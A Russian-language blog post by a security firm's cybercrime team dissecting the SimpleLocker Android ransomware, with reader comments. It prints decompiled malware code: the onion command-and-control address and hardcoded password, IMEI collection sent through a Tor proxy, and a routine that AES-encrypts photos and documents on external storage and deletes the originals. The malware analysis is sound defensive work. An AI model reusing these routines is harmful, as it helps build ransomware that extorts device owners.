Анализ Simplelocker-a — вируса-вымогателя для Android



    Добрый день уважаемые хабрачитатели, сегодня специалисты нашей компании хотели бы представить вашему взору разбор одного попавшегося не так давно нам на глаза Android вируса, если можно его так назвать, SimpleLocker. Для того, чтобы узнать о нём побольше, мы проделали немалую работу, которою в общем можно разбить на 3 шага:

    Шаг 1. Анализ манифеста и ресурсов
    Шаг 2. Декомпиляция приложения
    Шаг 3. Анализ кода

    Шаг 1. Анализ манифеста и ресурсов
    Первым делом было решено провести анализ ресурсов приложения, используея утилиту aapt.exe для извлечения строкового контента из apk файла командой
    c:\android\apktool>aapt.exe list -a ..\simple\fd694cf5ca1dd4967ad6e8c67241114c.apk

    Используемые разрешения в данном приложении оказались следующие:
     android.permission.INTERNET
    android.permission.ACCESS_NETWORK_STATE
    android.permission.READ_PHONE_STATE
    android.permission.RECEIVE_BOOT_COMPLETED
    android.permission.WAKE_LOCK
    android.permission.WRITE_EXTERNAL_STORAGE
    android.permission.READ_EXTERNAL_STORAGE
    

    Присутсвуют ресиверы:
     .ServiceStarter
    android.intent.action.BOOT_COMPLETED
    .SDCardServiceStar
    android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE 
    

    а также следующие службы:
     .MainService
    org.torproject.android.service.TorService
    org.torproject.android.service.ITorService
    org.torproject.android.service.TOR_SERVICE

    Из манифеста нам становится известно, что вирус умеет работать с сетью TOR и с внешней картой памяти.
    Распакуем приложение и посмотрим что находится в ресурсах. Самое интересное находится в папке res\raw. Находим два замаскированных файла под mp3, которые на самом деле предоставляют архив, содержащие базы стран GeoIP, а также конфигурационные файлы для TOR’а
    Файл torrc:
     SocksPort 9050
    SOCKSListenAddress 127.0.0.1
    SafeSocks 0
    TestSocks 1
    WarnUnsafeSocks 1
    Log notice stdout
    ControlListenAddress 127.0.0.1
    ControlPort 9051
    CookieAuthentication 1
    TransPort 9040
    TransListenAddress 127.0.0.1
    DNSPort 5400
    DNSListenAddress 127.0.0.1
    AvoidDiskWrites 1
    Файл torrctether
    SocksPort 9050
    SOCKSListenAddress 0.0.0.0
    SafeSocks 0
    TestSocks 1
    WarnUnsafeSocks 1
    Log notice stdout
    ControlPort 9051
    ControlListenAddress 0.0.0.0
    CookieAuthentication 1
    RelayBandwidthRate 100 KBytes
    RelayBandwidthBurst 100 KBytes
    UseBridges 0
    AutomapHostsOnResolve 1
    TransListenAddress 0.0.0.0
    TransPort 9040
    DNSListenAddress 0.0.0.0
    DNSPort 5400
    AvoidDiskWrites 1
    

    И файл privoxy_config
    # Generally, this file goes in /etc/privoxy/config
    #
    # Tor listens as a SOCKS4a proxy here:
    forward-socks4a / 127.0.0.1:9050 .
    confdir /data/data/org.torproject.android
    logdir /data/data/org.torproject.android
    # actionsfile standard  # Internal purpose, recommended
    #actionsfile default.action   # Main actions file
    #actionsfile user.action      # User customizations
    #filterfile default.filter
    
    # Don't log interesting things, only startup messages, warnings and errors
    #logfile logfile
    #jarfile jarfile
    #debug 1
    #debug   0    # show each GET/POST/CONNECT request
    #debug   4096 # Startup banner and warnings
    #debug   8192 # Errors - *we highly recommended enabling this*
    
    #user-manual /usr/share/doc/privoxy/user-manual
    listen-address  127.0.0.1:8118
    toggle  1
    accept-intercepted-requests 1 
    enable-remote-toggle 0
    enable-edit-actions 0
    enable-remote-http-toggle 0
    buffer-limit 4096
    

    Шаг 2. Декомпиляция приложения
    Для декомпиляции приложения воспользуемся сервисом ссылка.

    Шаг 3. Анализ кода
    При беглом просмотре названий классов, взгляд остановился на классе Constants.java посмотрим что за константы в нем хранятся:
    
        public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/";
        public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1;
        public static final String CIPHER_PASSWORD = "jndlasf074hr";
        public static final String CLIENT_NUMBER = "19";
        public static final String DEBUG_TAG = "DEBUGGING";
        public static final String DISABLE_LOCKER = "DISABLE_LOCKER";
        public static final List EXTENSIONS_TO_ENCRYPT = Arrays.asList(new String[] {
            "jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", "docx", "txt", "avi", "mkv", "3gp", "mp4"});
        public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED";
        public static final int MONEYPACK_DIGITS_NUMBER = 14;
        public static final int PAYSAFECARD_DIGITS_NUMBER = 16;
        public static final int POLLING_TIME_MINUTES = 3;
        public static final String PREFS_NAME = "AppPrefs";
        public static final int UKASH_DIGITS_NUMBER = 19;

    По константным переменным можно предположить куда отправляются данные, какой пароль используется для шифрования файлов, какие файлы будит подвержены шифрованию.
    Вирус должен каким – то образом взаимодействовать с сервером и шифровать файлы. Найдем участки кода которые отвечают за данный функционал. Начнем с анализа класса MainService.java которая выступает в роли службы MainService.
    Обмен данными с сервером.
    В классе MainService.java в методе run() вызывается функция TorSender.sendCheck(context);
     
         public void run() {
    	……
                    TorSender.sendCheck(context);
                }

    TorSender.java, в данном классе содержится один метод:
    public static void sendCheck(Context context)  {
            try  {
                JSONObject jsonobject = new JSONObject();
                jsonobject.put("type", "locker check");
                jsonobject.put("device id", Utils.getCutIMEI(context));
                jsonobject.put("client number", "19");
                (new HttpSender(jsonobject.toString(), HttpSender.RequestType.TYPE_CHECK, context)).startSending();
                return;
            }
            catch (JSONException jsonexception) {
                jsonexception.printStackTrace();
            }
        }
    

    Создается json объект, содержащий информацию о типе запроса, IMEI устройства:
    
    (Utils.getCutIMEI(context)) и номер клиента.
        public static String getCutIMEI(Context context)    {
            String s = getIMEI(context);
            ….
        }
        public static String getIMEI(Context context)    {
            return ((TelephonyManager)context.getSystemService("phone")).getDeviceId();
        }
    

    При отправке, сначала создается прокси сервер 127.0.0.1:9050 при вызове явного конструктора класса HttpSender.java
     
    public HttpSender(String s, RequestType requesttype, Context context1)    {
            dataToSend = s;
            settings = context1.getSharedPreferences("AppPrefs", 0);
            httpclient = new StrongHttpsClient(context1);
            httpclient.useProxy(true, "SOCKS", "127.0.0.1", 9050);
            context = context1;
            type = requesttype;
        }
    

    А затем вызываем метод startSending(), который передаст данные на сервер eyocsu7fu2vjhxs.onion.
    
        public void startSending()    {
            ….
            HttpResponse httpresponse = send(context, "http://xeyocsu7fu2vjhxs.onion/", dataToSend);
            ...
        }
    

    Шифрование файлов:
    Служба MainService запускается поток для шифрования файлов.
     
    new Thread(new Runnable() {
    …
    (new FilesEncryptor(context)).encrypt();
                    …
            }
    

    Рассмотрим явный конструктор класса FilesEncryptor(context)
    
        public FilesEncryptor(Context context) {
            filesToEncrypt = new ArrayList();
            filesToDecrypt = new ArrayList();
            settings = context.getSharedPreferences("AppPrefs", 0);
            getFileNames(new File(Environment.getExternalStorageDirectory().toString()));
        }
    

    Видим инициализацию двух списков предназначенных для хранения списка обычных и шифрованных файлов, метод getFileNames(File file) заполняет списки:
     
        private void getFileNames(File file) {
            …
            String s = file1.getAbsolutePath();
            String s1 = s.substring(1 + s.lastIndexOf("."));
            if (extensionsToDecrypt.contains(s1)) {
                filesToDecrypt.add(file1.getAbsolutePath());
            } else
            if (Constants.EXTENSIONS_TO_ENCRYPT.contains(s1))  {
                filesToEncrypt.add(file1.getAbsolutePath());
            }
            …
        }
    

    А метод encrypt() зашифрует файлы из списка filesToEncrypt
    
        public void encrypt() throws Exception {
            …
            AesCrypt aescrypt;
            Iterator iterator;
            aescrypt = new AesCrypt("jndlasf074hr");
            iterator = filesToEncrypt.iterator();
            …
            String s = (String)iterator.next();
            aescrypt.encrypt(s, (new StringBuilder(String.valueOf(s))).append(".enc").toString());
            (new File(s)).delete();
            …
        }
    

    Рассмотрим класс AesCrypt.java
    private final Cipher cipher = Cipher.getInstance(«AES/CBC/PKCS7Padding»);
    Используется блочное шифрование AES 128
    В конструкторе класса хешируем пароль алгоритмом SHA-256 и генирируем ключик для шифра:
    
        public AesCrypt(String s) throws Exception  {
            MessageDigest messagedigest = MessageDigest.getInstance("SHA-256");
            messagedigest.update(s.getBytes("UTF-8"));
            byte abyte0[] = new byte[32];
            System.arraycopy(messagedigest.digest(), 0, abyte0, 0, abyte0.length);
            key = new SecretKeySpec(abyte0, "AES");
            spec = getIV();
        }
    

    Ну и сам метод шифрования:
    
       public void encrypt(String s, String s1) throws Exception {
            FileInputStream fileinputstream = new FileInputStream(s);
            FileOutputStream fileoutputstream = new FileOutputStream(s1);
            cipher.init(1, key, spec);
            CipherOutputStream cipheroutputstream = new CipherOutputStream(fileoutputstream, cipher);
            byte abyte0[] = new byte[8];
            do {
                int i = fileinputstream.read(abyte0);
                if (i == -1) {
                    cipheroutputstream.flush();
                    cipheroutputstream.close();
                    fileinputstream.close();
                    return;
                }
                cipheroutputstream.write(abyte0, 0, i);
            } while (true);
        }
    

    Проведя данный ряд исследований можно сделать заключение, что данный вирус обладает весьма скудным функционалом, а именно:
    1. Граббинг IMEI жертвы
    2. Работа с сетью TOR
    3. Шифрование файлов

    Бояркин Антон, Набиев Нурлан, отдел расследования киберпреступлений, PentestIT
    • +4
    • 13.1k
    • 4
    Pentestit
    56.79
    Информационная безопасность
    Share post

    Comments 4

      +2
      Он же старый довольно… AES-128-CBC — более корректное название применяемого алгоритма. Про IV у вас ничего не написано, а ключ шифрования без IV в данном случае бесполезен.
        +10
        Не в обиду вам, но про немалую работу вы слегка погорячились. Исследовать необфусцированное приложение, с читаемыми именами переменных и несложной логикой, это минут 15-20. Написание статьи должно было занять у вас больше времени, чем, собственно, «исследовние».
          +7
          Зачем в первом шаге получать манифест через aapt.exe, если decompileandroid.com во втором шаге его и так выдаст? А сам decompileandroid.com лучше заменить на dex2jar, JAD и apktool. Не вижу смысла заливать куда-то свои файлы, если вручную это делается так же быстро и просто.
            +2
            Начал разбирать через aapt.exe т.к. первое под руку попалось, а потом на втором шаге пробовал воспользоваться онлайн сервисом. Ручками никто и не отменял возможности.

          Only users with full accounts can post comments. Log in, please.